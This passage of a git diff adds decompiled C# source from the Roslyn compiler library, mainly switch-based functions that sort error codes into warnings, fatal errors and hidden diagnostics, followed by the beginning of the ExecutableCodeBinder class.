ErrorCode.ERR_ExpectedInterpolatedString: + case ErrorCode.ERR_InterceptorGlobalNamespace: + case ErrorCode.ERR_CollectionExpressionImmutableArray: + goto IL_2ff8; + default: + goto IL_2ffa; + } + break; + case ErrorCode.WRN_MainIgnored: + case ErrorCode.ERR_ModuleEmitFailure: + break; + case ErrorCode.ERR_UnexpectedAliasedName: + case ErrorCode.ERR_UnexpectedGenericName: + case ErrorCode.ERR_UnexpectedUnboundGenericName: + case ErrorCode.ERR_GlobalStatement: + case ErrorCode.ERR_BadUsingType: + case ErrorCode.ERR_ReservedAssemblyName: + case ErrorCode.ERR_PPReferenceFollowsToken: + case ErrorCode.ERR_ExpectedPPFile: + case ErrorCode.ERR_ReferenceDirectiveOnlyAllowedInScripts: + case ErrorCode.ERR_NameNotInContextPossibleMissingReference: + case ErrorCode.ERR_MetadataNameTooLong: + case ErrorCode.ERR_AttributesNotAllowed: + case ErrorCode.ERR_ExternAliasNotAllowed: + case ErrorCode.ERR_ConflictingAliasAndDefinition: + case ErrorCode.ERR_GlobalDefinitionOrStatementExpected: + case ErrorCode.ERR_ExpectedSingleScript: + case ErrorCode.ERR_RecursivelyTypedVariable: + case ErrorCode.ERR_YieldNotAllowedInScript: + case ErrorCode.ERR_NamespaceNotAllowedInScript: + case ErrorCode.WRN_StaticInAsOrIs: + case ErrorCode.ERR_InvalidDelegateType: + case ErrorCode.ERR_BadVisEventType: + case ErrorCode.ERR_GlobalAttributesNotAllowed: + case ErrorCode.ERR_PublicKeyFileFailure: + case ErrorCode.ERR_PublicKeyContainerFailure: + case ErrorCode.ERR_FriendRefSigningMismatch: + case ErrorCode.ERR_CannotPassNullForFriendAssembly: + case ErrorCode.ERR_SignButNoPrivateKey: + case ErrorCode.WRN_DelaySignButNoKey: + case ErrorCode.ERR_InvalidVersionFormat: + case ErrorCode.WRN_InvalidVersionFormat: + case ErrorCode.ERR_NoCorrespondingArgument: + case ErrorCode.ERR_ResourceFileNameNotUnique: + case ErrorCode.ERR_DllImportOnGenericMethod: + case ErrorCode.ERR_EncUpdateFailedMissingAttribute: + case ErrorCode.ERR_ParameterNotValidForType: + case ErrorCode.ERR_AttributeParameterRequired1: + case ErrorCode.ERR_AttributeParameterRequired2: + case ErrorCode.ERR_SecurityAttributeMissingAction: + case ErrorCode.ERR_SecurityAttributeInvalidAction: + case ErrorCode.ERR_SecurityAttributeInvalidActionAssembly: + case ErrorCode.ERR_SecurityAttributeInvalidActionTypeOrMethod: + case ErrorCode.ERR_PrincipalPermissionInvalidAction: + case ErrorCode.ERR_FeatureNotValidInExpressionTree: + case ErrorCode.ERR_MarshalUnmanagedTypeNotValidForFields: + case ErrorCode.ERR_MarshalUnmanagedTypeOnlyValidForFields: + case ErrorCode.ERR_PermissionSetAttributeInvalidFile: + case ErrorCode.ERR_PermissionSetAttributeFileReadError: + case ErrorCode.ERR_InvalidVersionFormat2: + case ErrorCode.ERR_InvalidAssemblyCultureForExe: + case ErrorCode.ERR_DuplicateAttributeInNetModule: + case ErrorCode.ERR_CantOpenIcon: + case ErrorCode.ERR_ErrorBuildingWin32Resources: + case ErrorCode.ERR_BadAttributeParamDefaultArgument: + case ErrorCode.ERR_MissingTypeInSource: + case ErrorCode.ERR_MissingTypeInAssembly: + case ErrorCode.ERR_SecurityAttributeInvalidTarget: + case ErrorCode.ERR_InvalidAssemblyName: + case ErrorCode.ERR_NoTypeDefFromModule: + case ErrorCode.WRN_CallerFilePathPreferredOverCallerMemberName: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerMemberName: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerFilePath: + case ErrorCode.ERR_InvalidDynamicCondition: + case ErrorCode.ERR_WinRtEventPassedByRef: + case ErrorCode.ERR_NetModuleNameMismatch: + case ErrorCode.ERR_BadModuleName: + case ErrorCode.ERR_BadCompilationOptionValue: + case ErrorCode.ERR_BadAppConfigPath: + case ErrorCode.WRN_AssemblyAttributeFromModuleIsOverridden: + case ErrorCode.ERR_CmdOptionConflictsSource: + case ErrorCode.ERR_FixedBufferTooManyDimensions: + case ErrorCode.ERR_CantReadConfigFile: + case ErrorCode.ERR_BadAwaitInCatchFilter: + case ErrorCode.WRN_FilterIsConstantTrue: + case ErrorCode.ERR_EncNoPIAReference: + case ErrorCode.ERR_LinkedNetmoduleMetadataMustProvideFullPEImage: + case ErrorCode.ERR_MetadataReferencesNotSupported: + case ErrorCode.ERR_InvalidAssemblyCulture: + case ErrorCode.ERR_EncReferenceToAddedMember: + case ErrorCode.ERR_MutuallyExclusiveOptions: + case ErrorCode.ERR_InvalidDebugInfo: + goto IL_2ff8; + case (ErrorCode)7001: + case (ErrorCode)7004: + case (ErrorCode)7005: + case (ErrorCode)7031: + case (ErrorCode)7037: + case (ErrorCode)7039: + case (ErrorCode)7040: + case (ErrorCode)7044: + case (ErrorCode)7060: + case (ErrorCode)7062: + case (ErrorCode)7063: + case (ErrorCode)7066: + case (ErrorCode)7072: + case (ErrorCode)7073: + case (ErrorCode)7074: + case (ErrorCode)7075: + case (ErrorCode)7076: + case (ErrorCode)7077: + case (ErrorCode)7078: + case (ErrorCode)7085: + case (ErrorCode)7097: + goto IL_2ffa; + } + } + return true; + IL_2ff8: + return false; + IL_2ffa: + throw new NotImplementedException($"ErrorCode.{code}"); + } + + internal static bool PreventsSuccessfulDelegateConversion(ErrorCode code) + { + if (code == ErrorCode.Void || code == ErrorCode.Unknown) + { + return false; + } + if (IsWarning(code)) + { + return false; + } + switch (code) + { + case ErrorCode.ERR_DuplicateParamName: + case ErrorCode.ERR_LocalDuplicate: + case ErrorCode.ERR_LocalIllegallyOverrides: + case ErrorCode.ERR_LocalSameNameAsTypeParam: + case ErrorCode.ERR_DeprecatedSymbolStr: + case ErrorCode.ERR_MissingPredefinedMember: + case ErrorCode.ERR_DeprecatedCollectionInitAddStr: + case ErrorCode.ERR_QueryRangeVariableOverrides: + case ErrorCode.ERR_QueryRangeVariableSameAsTypeParam: + return false; + default: + return true; + } + } + + internal static bool PreventsSuccessfulDelegateConversion(DiagnosticBag diagnostics) + { + foreach (Diagnostic item in diagnostics.AsEnumerable()) + { + if (PreventsSuccessfulDelegateConversion((ErrorCode)item.Code)) + { + return true; + } + } + return false; + } + + internal static bool PreventsSuccessfulDelegateConversion(ImmutableArray diagnostics) + { + ImmutableArray.Enumerator enumerator = diagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (PreventsSuccessfulDelegateConversion((ErrorCode)enumerator.Current.Code)) + { + return true; + } + } + return false; + } + + internal static ErrorCode GetStaticClassParameterCode(bool useWarning) + { + if (!useWarning) + { + return ErrorCode.ERR_ParameterIsStaticClass; + } + return ErrorCode.WRN_ParameterIsStaticClass; + } + + internal static ErrorCode GetStaticClassReturnCode(bool useWarning) + { + if (!useWarning) + { + return ErrorCode.ERR_ReturnTypeIsStaticClass; + } + return ErrorCode.WRN_ReturnTypeIsStaticClass; + } + + public static bool IsWarning(ErrorCode code) + { + if (code <= ErrorCode.WRN_IsDynamicIsConfusing) + { + if (code <= ErrorCode.WRN_EqualityOpWithoutGetHashCode) + { + switch (code) + { + case ErrorCode.WRN_InvalidMainSig: + case ErrorCode.WRN_UnreferencedEvent: + case ErrorCode.WRN_LowercaseEllSuffix: + case ErrorCode.WRN_DuplicateUsing: + case ErrorCode.WRN_NewRequired: + case ErrorCode.WRN_NewNotRequired: + case ErrorCode.WRN_NewOrOverrideExpected: + case ErrorCode.WRN_UnreachableCode: + case ErrorCode.WRN_UnreferencedLabel: + case ErrorCode.WRN_UnreferencedVar: + case ErrorCode.WRN_UnreferencedField: + case ErrorCode.WRN_IsAlwaysTrue: + case ErrorCode.WRN_IsAlwaysFalse: + case ErrorCode.WRN_ByRefNonAgileField: + case ErrorCode.WRN_UnreferencedVarAssg: + case ErrorCode.WRN_NegativeArrayIndex: + case ErrorCode.WRN_BadRefCompareLeft: + case ErrorCode.WRN_BadRefCompareRight: + case ErrorCode.WRN_PatternIsAmbiguous: + case ErrorCode.WRN_PatternNotPublicOrNotInstance: + case ErrorCode.WRN_PatternBadSignature: + case ErrorCode.WRN_SequentialOnPartialClass: + case ErrorCode.WRN_MainCantBeGeneric: + case ErrorCode.WRN_UnreferencedFieldAssg: + case ErrorCode.WRN_AmbiguousXMLReference: + case ErrorCode.WRN_VolatileByRef: + case ErrorCode.WRN_SameFullNameThisNsAgg: + case ErrorCode.WRN_SameFullNameThisAggAgg: + case ErrorCode.WRN_SameFullNameThisAggNs: + case ErrorCode.WRN_GlobalAliasDefn: + case ErrorCode.WRN_AlwaysNull: + case ErrorCode.WRN_CmpAlwaysFalse: + case ErrorCode.WRN_FinalizeMethod: + case ErrorCode.WRN_GotoCaseShouldConvert: + case ErrorCode.WRN_NubExprIsConstBool: + case ErrorCode.WRN_ExplicitImplCollision: + case ErrorCode.WRN_DeprecatedSymbol: + case ErrorCode.WRN_DeprecatedSymbolStr: + case ErrorCode.WRN_ExternMethodNoImplementation: + case ErrorCode.WRN_ProtectedInSealed: + case ErrorCode.WRN_PossibleMistakenNullStatement: + case ErrorCode.WRN_UnassignedInternalField: + case ErrorCode.WRN_VacuousIntegralComp: + case ErrorCode.WRN_AttributeLocationOnBadDeclaration: + case ErrorCode.WRN_InvalidAttributeLocation: + case ErrorCode.WRN_EqualsWithoutGetHashCode: + case ErrorCode.WRN_EqualityOpWithoutEquals: + case ErrorCode.WRN_EqualityOpWithoutGetHashCode: + break; + default: + goto IL_0d37; + } + } + else + { + switch (code) + { + case ErrorCode.WRN_IncorrectBooleanAssg: + case ErrorCode.WRN_NonObsoleteOverridingObsolete: + case ErrorCode.WRN_BitwiseOrSignExtend: + case ErrorCode.WRN_CoClassWithoutComImport: + case ErrorCode.WRN_TypeParameterSameAsOuterTypeParameter: + case ErrorCode.WRN_AssignmentToLockOrDispose: + case ErrorCode.WRN_ObsoleteOverridingNonObsolete: + case ErrorCode.WRN_DebugFullNameTooLong: + case ErrorCode.WRN_ExternCtorNoImplementation: + case ErrorCode.WRN_WarningDirective: + case ErrorCode.WRN_UnreachableGeneralCatch: + case ErrorCode.WRN_DeprecatedCollectionInitAddStr: + case ErrorCode.WRN_DeprecatedCollectionInitAdd: + case ErrorCode.WRN_DefaultValueForUnconsumedLocation: + case ErrorCode.WRN_IdentifierOrNumericLiteralExpected: + case ErrorCode.WRN_EmptySwitch: + case ErrorCode.WRN_XMLParseError: + case ErrorCode.WRN_DuplicateParamTag: + case ErrorCode.WRN_UnmatchedParamTag: + case ErrorCode.WRN_MissingParamTag: + case ErrorCode.WRN_BadXMLRef: + case ErrorCode.WRN_BadXMLRefParamType: + case ErrorCode.WRN_BadXMLRefReturnType: + case ErrorCode.WRN_BadXMLRefSyntax: + case ErrorCode.WRN_UnprocessedXMLComment: + case ErrorCode.WRN_FailedInclude: + case ErrorCode.WRN_InvalidInclude: + case ErrorCode.WRN_MissingXMLComment: + case ErrorCode.WRN_XMLParseIncludeError: + case ErrorCode.WRN_ALinkWarn: + case ErrorCode.WRN_CmdOptionConflictsSource: + case ErrorCode.WRN_IllegalPragma: + case ErrorCode.WRN_IllegalPPWarning: + case ErrorCode.WRN_BadRestoreNumber: + case ErrorCode.WRN_NonECMAFeature: + case ErrorCode.WRN_ErrorOverride: + case ErrorCode.WRN_InvalidSearchPathDir: + case ErrorCode.WRN_MultiplePredefTypes: + case ErrorCode.WRN_TooManyLinesForDebugger: + case ErrorCode.WRN_CallOnNonAgileField: + case ErrorCode.WRN_InvalidNumber: + case ErrorCode.WRN_IllegalPPChecksum: + case ErrorCode.WRN_EndOfPPLineExpected: + case ErrorCode.WRN_ConflictingChecksum: + case ErrorCode.WRN_InvalidAssemblyName: + case ErrorCode.WRN_UnifyReferenceMajMin: + case ErrorCode.WRN_UnifyReferenceBldRev: + case ErrorCode.WRN_DuplicateTypeParamTag: + case ErrorCode.WRN_UnmatchedTypeParamTag: + case ErrorCode.WRN_MissingTypeParamTag: + case ErrorCode.WRN_AssignmentToSelf: + case ErrorCode.WRN_ComparisonToSelf: + case ErrorCode.WRN_DotOnDefault: + case ErrorCode.WRN_BadXMLRefTypeVar: + case ErrorCode.WRN_UnmatchedParamRefTag: + case ErrorCode.WRN_UnmatchedTypeParamRefTag: + case ErrorCode.WRN_ReferencedAssemblyReferencesLinkedPIA: + case ErrorCode.WRN_CantHaveManifestForModule: + case ErrorCode.WRN_MultipleRuntimeImplementationMatches: + case ErrorCode.WRN_MultipleRuntimeOverrideMatches: + case ErrorCode.WRN_DynamicDispatchToConditionalMethod: + case ErrorCode.WRN_IsDynamicIsConfusing: + break; + default: + goto IL_0d37; + } + } + } + else if (code <= ErrorCode.WRN_AttributesOnBackingFieldsNotAvailable) + { + switch (code) + { + case ErrorCode.WRN_AsyncLacksAwaits: + case ErrorCode.WRN_FileAlreadyIncluded: + case ErrorCode.WRN_NoSources: + case ErrorCode.WRN_NoConfigNotOnCommandLine: + case ErrorCode.WRN_DefineIdentifierRequired: + case ErrorCode.WRN_BadUILang: + case ErrorCode.WRN_CLS_NoVarArgs: + case ErrorCode.WRN_CLS_BadArgType: + case ErrorCode.WRN_CLS_BadReturnType: + case ErrorCode.WRN_CLS_BadFieldPropType: + case ErrorCode.WRN_CLS_BadIdentifierCase: + case ErrorCode.WRN_CLS_OverloadRefOut: + case ErrorCode.WRN_CLS_OverloadUnnamed: + case ErrorCode.WRN_CLS_BadIdentifier: + case ErrorCode.WRN_CLS_BadBase: + case ErrorCode.WRN_CLS_BadInterfaceMember: + case ErrorCode.WRN_CLS_NoAbstractMembers: + case ErrorCode.WRN_CLS_NotOnModules: + case ErrorCode.WRN_CLS_ModuleMissingCLS: + case ErrorCode.WRN_CLS_AssemblyNotCLS: + case ErrorCode.WRN_CLS_BadAttributeType: + case ErrorCode.WRN_CLS_ArrayArgumentToAttribute: + case ErrorCode.WRN_CLS_NotOnModules2: + case ErrorCode.WRN_CLS_IllegalTrueInFalse: + case ErrorCode.WRN_CLS_MeaninglessOnPrivateType: + case ErrorCode.WRN_CLS_AssemblyNotCLS2: + case ErrorCode.WRN_CLS_MeaninglessOnParam: + case ErrorCode.WRN_CLS_MeaninglessOnReturn: + case ErrorCode.WRN_CLS_BadTypeVar: + case ErrorCode.WRN_CLS_VolatileField: + case ErrorCode.WRN_CLS_BadInterface: + case ErrorCode.WRN_UnobservedAwaitableExpression: + case ErrorCode.WRN_CallerLineNumberParamForUnconsumedLocation: + case ErrorCode.WRN_CallerFilePathParamForUnconsumedLocation: + case ErrorCode.WRN_CallerMemberNameParamForUnconsumedLocation: + case ErrorCode.WRN_MainIgnored: + case ErrorCode.WRN_StaticInAsOrIs: + case ErrorCode.WRN_DelaySignButNoKey: + case ErrorCode.WRN_InvalidVersionFormat: + case ErrorCode.WRN_CallerFilePathPreferredOverCallerMemberName: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerMemberName: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerFilePath: + case ErrorCode.WRN_AssemblyAttributeFromModuleIsOverridden: + case ErrorCode.WRN_FilterIsConstantTrue: + case ErrorCode.WRN_UnimplementedCommandLineSwitch: + case ErrorCode.WRN_ReferencedAssemblyDoesNotHaveStrongName: + case ErrorCode.WRN_RefCultureMismatch: + case ErrorCode.WRN_ConflictingMachineAssembly: + case ErrorCode.WRN_UnqualifiedNestedTypeInCref: + case ErrorCode.WRN_NoRuntimeMetadataVersion: + case ErrorCode.WRN_PdbLocalNameTooLong: + case ErrorCode.WRN_AnalyzerCannotBeCreated: + case ErrorCode.WRN_NoAnalyzerInAssembly: + case ErrorCode.WRN_UnableToLoadAnalyzer: + case ErrorCode.WRN_NubExprIsConstBool2: + case ErrorCode.WRN_AlignmentMagnitude: + case ErrorCode.WRN_AttributeIgnoredWhenPublicSigning: + case ErrorCode.WRN_TupleLiteralNameMismatch: + case ErrorCode.WRN_WindowsExperimental: + case ErrorCode.WRN_UnreferencedLocalFunction: + case ErrorCode.WRN_FilterIsConstantFalse: + case ErrorCode.WRN_FilterIsConstantFalseRedundantTryCatch: + case ErrorCode.WRN_AttributesOnBackingFieldsNotAvailable: + break; + default: + goto IL_0d37; + } + } + else if (code <= ErrorCode.WRN_RecordEqualsWithoutGetHashCode) + { + switch (code) + { + case ErrorCode.WRN_TupleBinopLiteralNameMismatch: + case ErrorCode.WRN_TypeParameterSameAsOuterMethodTypeParameter: + case ErrorCode.WRN_UnconsumedEnumeratorCancellationAttributeUsage: + case ErrorCode.WRN_UndecoratedCancellationTokenParameter: + case ErrorCode.WRN_ManagedAddr: + case ErrorCode.WRN_SwitchExpressionNotExhaustive: + case ErrorCode.WRN_CaseConstantNamedUnderscore: + case ErrorCode.WRN_IsTypeNamedUnderscore: + case ErrorCode.WRN_GivenExpressionNeverMatchesPattern: + case ErrorCode.WRN_GivenExpressionAlwaysMatchesConstant: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue: + case ErrorCode.WRN_ThrowPossibleNull: + case ErrorCode.WRN_ConvertingNullableToNonNullable: + case ErrorCode.WRN_NullReferenceAssignment: + case ErrorCode.WRN_NullReferenceReceiver: + case ErrorCode.WRN_NullReferenceReturn: + case ErrorCode.WRN_NullReferenceArgument: + case ErrorCode.WRN_UnboxPossibleNull: + case ErrorCode.WRN_DisallowNullAttributeForbidsMaybeNullAssignment: + case ErrorCode.WRN_NullabilityMismatchInTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnOverride: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnPartial: + case ErrorCode.WRN_NullabilityMismatchInTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInTypeOnExplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnExplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnExplicitImplementation: + case ErrorCode.WRN_UninitializedNonNullableField: + case ErrorCode.WRN_NullabilityMismatchInAssignment: + case ErrorCode.WRN_NullabilityMismatchInArgument: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOfTargetDelegate: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOfTargetDelegate: + case ErrorCode.WRN_NullabilityMismatchInArgumentForOutput: + case ErrorCode.WRN_NullAsNonNullable: + case ErrorCode.WRN_NullableValueTypeMayBeNull: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterConstraint: + case ErrorCode.WRN_MissingNonNullTypesContextForAnnotation: + case ErrorCode.WRN_NullabilityMismatchInConstraintsOnImplicitImplementation: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterReferenceTypeConstraint: + case ErrorCode.WRN_NullabilityMismatchInExplicitlyImplementedInterface: + case ErrorCode.WRN_NullabilityMismatchInInterfaceImplementedByBase: + case ErrorCode.WRN_DuplicateInterfaceWithNullabilityMismatchInBaseList: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveForNull: + case ErrorCode.WRN_ImplicitCopyInReadOnlyMember: + case ErrorCode.WRN_NullabilityMismatchInConstraintsOnPartialImplementation: + case ErrorCode.WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode: + case ErrorCode.WRN_NullReferenceInitializer: + case ErrorCode.WRN_NullabilityMismatchInTypeParameterNotNullConstraint: + case ErrorCode.WRN_ParameterConditionallyDisallowsNull: + case ErrorCode.WRN_ShouldNotReturn: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnOverride: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnOverride: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnImplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnImplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInReturnTypeOnExplicitImplementation: + case ErrorCode.WRN_TopLevelNullabilityMismatchInParameterTypeOnExplicitImplementation: + case ErrorCode.WRN_DoesNotReturnMismatch: + case ErrorCode.WRN_MemberNotNull: + case ErrorCode.WRN_MemberNotNullWhen: + case ErrorCode.WRN_MemberNotNullBadMember: + case ErrorCode.WRN_ParameterDisallowsNull: + case ErrorCode.WRN_ConstOutOfRangeChecked: + case ErrorCode.WRN_GeneratorFailedDuringInitialization: + case ErrorCode.WRN_GeneratorFailedDuringGeneration: + case ErrorCode.WRN_GivenExpressionAlwaysMatchesPattern: + case ErrorCode.WRN_IsPatternAlways: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnPartial: + case ErrorCode.WRN_ParameterNotNullIfNotNull: + case ErrorCode.WRN_ReturnNotNullIfNotNull: + case ErrorCode.WRN_PartialMethodTypeDifference: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveWithWhen: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveForNullWithWhen: + case ErrorCode.WRN_PrecedenceInversion: + case ErrorCode.WRN_AnalyzerReferencesFramework: + case ErrorCode.WRN_RecordEqualsWithoutGetHashCode: + break; + default: + goto IL_0d37; + } + } + else + { + switch (code) + { + case ErrorCode.WRN_RecordNamedDisallowed: + case ErrorCode.WRN_UnassignedThisAutoPropertyUnsupportedVersion: + case ErrorCode.WRN_UnassignedThisUnsupportedVersion: + case ErrorCode.WRN_ParamUnassigned: + case ErrorCode.WRN_UseDefViolationProperty: + case ErrorCode.WRN_UseDefViolationField: + case ErrorCode.WRN_UseDefViolationThisUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationOut: + case ErrorCode.WRN_UseDefViolation: + case ErrorCode.WRN_SyncAndAsyncEntryPoints: + case ErrorCode.WRN_ParameterIsStaticClass: + case ErrorCode.WRN_ReturnTypeIsStaticClass: + case ErrorCode.WRN_UnreadRecordParameter: + case ErrorCode.WRN_DoNotCompareFunctionPointers: + case ErrorCode.WRN_ParameterOccursAfterInterpolatedStringHandlerParameter: + case ErrorCode.WRN_CallerLineNumberPreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerFilePathPreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerMemberNamePreferredOverCallerArgumentExpression: + case ErrorCode.WRN_CallerArgumentExpressionAttributeHasInvalidParameterName: + case ErrorCode.WRN_CallerArgumentExpressionAttributeSelfReferential: + case ErrorCode.WRN_CallerArgumentExpressionParamForUnconsumedLocation: + case ErrorCode.WRN_InterpolatedStringHandlerArgumentAttributeIgnoredOnLambdaParameters: + case ErrorCode.WRN_CompileTimeCheckedOverflow: + case ErrorCode.WRN_MethGrpToNonDel: + case ErrorCode.WRN_LowerCaseTypeName: + case ErrorCode.WRN_UseDefViolationPropertyUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationFieldUnsupportedVersion: + case ErrorCode.WRN_UseDefViolationPropertySupportedVersion: + case ErrorCode.WRN_UseDefViolationFieldSupportedVersion: + case ErrorCode.WRN_UseDefViolationThisSupportedVersion: + case ErrorCode.WRN_UnassignedThisAutoPropertySupportedVersion: + case ErrorCode.WRN_UnassignedThisSupportedVersion: + case ErrorCode.WRN_ObsoleteMembersShouldNotBeRequired: + case ErrorCode.WRN_AnalyzerReferencesNewerCompiler: + case ErrorCode.WRN_DuplicateAnalyzerReference: + case ErrorCode.WRN_ScopedMismatchInParameterOfTarget: + case ErrorCode.WRN_ScopedMismatchInParameterOfOverrideOrImplementation: + case ErrorCode.WRN_EscapeVariable: + case ErrorCode.WRN_EscapeStackAlloc: + case ErrorCode.WRN_RefReturnNonreturnableLocal: + case ErrorCode.WRN_RefReturnNonreturnableLocal2: + case ErrorCode.WRN_RefReturnStructThis: + case ErrorCode.WRN_RefAssignNarrower: + case ErrorCode.WRN_MismatchedRefEscapeInTernary: + case ErrorCode.WRN_RefReturnParameter: + case ErrorCode.WRN_RefReturnScopedParameter: + case ErrorCode.WRN_RefReturnParameter2: + case ErrorCode.WRN_RefReturnScopedParameter2: + case ErrorCode.WRN_RefReturnLocal: + case ErrorCode.WRN_RefReturnLocal2: + case ErrorCode.WRN_RefAssignReturnOnly: + case ErrorCode.WRN_RefReturnOnlyParameter: + case ErrorCode.WRN_RefReturnOnlyParameter2: + case ErrorCode.WRN_RefAssignValEscapeWider: + case ErrorCode.WRN_OptionalParamValueMismatch: + case ErrorCode.WRN_ParamsArrayInLambdaOnly: + case ErrorCode.WRN_CapturedPrimaryConstructorParameterPassedToBase: + case ErrorCode.WRN_UnreadPrimaryConstructorParameter: + case ErrorCode.WRN_AddressOfInAsync: + case ErrorCode.WRN_CapturedPrimaryConstructorParameterInFieldInitializer: + case ErrorCode.WRN_ByValArraySizeConstRequired: + case ErrorCode.WRN_InterceptorSignatureMismatch: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnInterceptor: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnInterceptor: + case ErrorCode.WRN_PrimaryConstructorParameterIsShadowedAndNotPassedToBase: + case ErrorCode.WRN_InlineArrayIndexerNotUsed: + case ErrorCode.WRN_InlineArraySliceNotUsed: + case ErrorCode.WRN_InlineArrayConversionOperatorNotUsed: + case ErrorCode.WRN_InlineArrayNotSupportedByLanguage: + case ErrorCode.WRN_BadArgRef: + case ErrorCode.WRN_ArgExpectedRefOrIn: + case ErrorCode.WRN_RefReadonlyNotVariable: + case ErrorCode.WRN_ArgExpectedIn: + case ErrorCode.WRN_OverridingDifferentRefness: + case ErrorCode.WRN_HidingDifferentRefness: + case ErrorCode.WRN_TargetDifferentRefness: + case ErrorCode.WRN_RefReadonlyParameterDefaultValue: + case ErrorCode.WRN_UseDefViolationRefField: + case ErrorCode.WRN_Experimental: + break; + default: + goto IL_0d37; + } + } + return true; + IL_0d37: + return false; + } + + public static bool IsFatal(ErrorCode code) + { + switch (code) + { + case ErrorCode.FTL_MetadataCantOpenFile: + case ErrorCode.FTL_DebugEmitFailure: + case ErrorCode.FTL_BadCodepage: + case ErrorCode.FTL_InvalidTarget: + case ErrorCode.FTL_InvalidInputFileName: + case ErrorCode.FTL_OutputFileExists: + case ErrorCode.FTL_BadChecksumAlgorithm: + return true; + default: + return false; + } + } + + public static bool IsInfo(ErrorCode code) + { + if (code == ErrorCode.INF_UnableToLoadSomeTypesInAnalyzer) + { + return true; + } + return false; + } + + public static bool IsHidden(ErrorCode code) + { + if ((uint)(code - 8019) <= 1u || code == ErrorCode.HDN_DuplicateWithGlobalUsing) + { + return true; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExecutableCodeBinder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExecutableCodeBinder.cs new file mode 100644 index 0000000..2c51f60 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ExecutableCodeBinder.cs @@ -0,0 +1,139 @@ +using System; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class ExecutableCodeBinder : Binder +{ + private readonly Symbol _memberSymbol; + + private readonly SyntaxNode _root; + + private readonly Action _binderUpdatedHandler; + + private SmallDictionary _lazyBinderMap; + + internal override Symbol ContainingMemberOrLambda => _memberSymbol ?? base.Next.ContainingMemberOrLambda; + + protected override bool InExecutableBinder => true; + + internal Symbol MemberSymbol => _memberSymbol; + + private SmallDictionary BinderMap + { + get + { + if (_lazyBinderMap == null) + { + ComputeBinderMap(); + } + return _lazyBinderMap; + } + } + + internal ExecutableCodeBinder(SyntaxNode root, Symbol memberSymbol, Binder next, Action binderUpdatedHandler = null) + : this(root, memberSymbol, next, next.Flags) + { + _binderUpdatedHandler = binderUpdatedHandler; + } + + internal ExecutableCodeBinder(SyntaxNode root, Symbol memberSymbol, Binder next, BinderFlags additionalFlags) + : base(next, (BinderFlags)((uint)(next.Flags | additionalFlags) & 0xFFC0FFFFu)) + { + _memberSymbol = memberSymbol; + _root = root; + } + + internal override Binder GetBinder(SyntaxNode node) + { + Binder result = default(Binder); + if (!BinderMap.TryGetValue(node, ref result)) + { + return base.Next.GetBinder(node); + } + return result; + } + + private void ComputeBinderMap() + { + SmallDictionary val; + if (!(_memberSymbol is SynthesizedSimpleProgramEntryPointSymbol synthesizedSimpleProgramEntryPointSymbol) || (object)_root != synthesizedSimpleProgramEntryPointSymbol.SyntaxNode) + { + val = (((object)_memberSymbol == null || _root == null) ? SmallDictionary.Empty : LocalBinderFactory.BuildMap(_memberSymbol, _root, this, _binderUpdatedHandler)); + } + else + { + SimpleProgramBinder simpleProgramBinder = new SimpleProgramBinder(this, synthesizedSimpleProgramEntryPointSymbol); + val = LocalBinderFactory.BuildMap(_memberSymbol, _root, simpleProgramBinder, _binderUpdatedHandler); + val.Add(_root, (Binder)simpleProgramBinder); + } + Interlocked.CompareExchange(ref _lazyBinderMap, val, null); + } + + public static void ValidateIteratorMethod(CSharpCompilation compilation, MethodSymbol iterator, BindingDiagnosticBag diagnostics) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_00ee: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_0146: Unknown result type (might be due to invalid IL or missing references) + //IL_0108: Unknown result type (might be due to invalid IL or missing references) + if (!iterator.IsIterator) + { + return; + } + ImmutableArray.Enumerator enumerator = iterator.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + if ((int)current.RefKind != 0) + { + 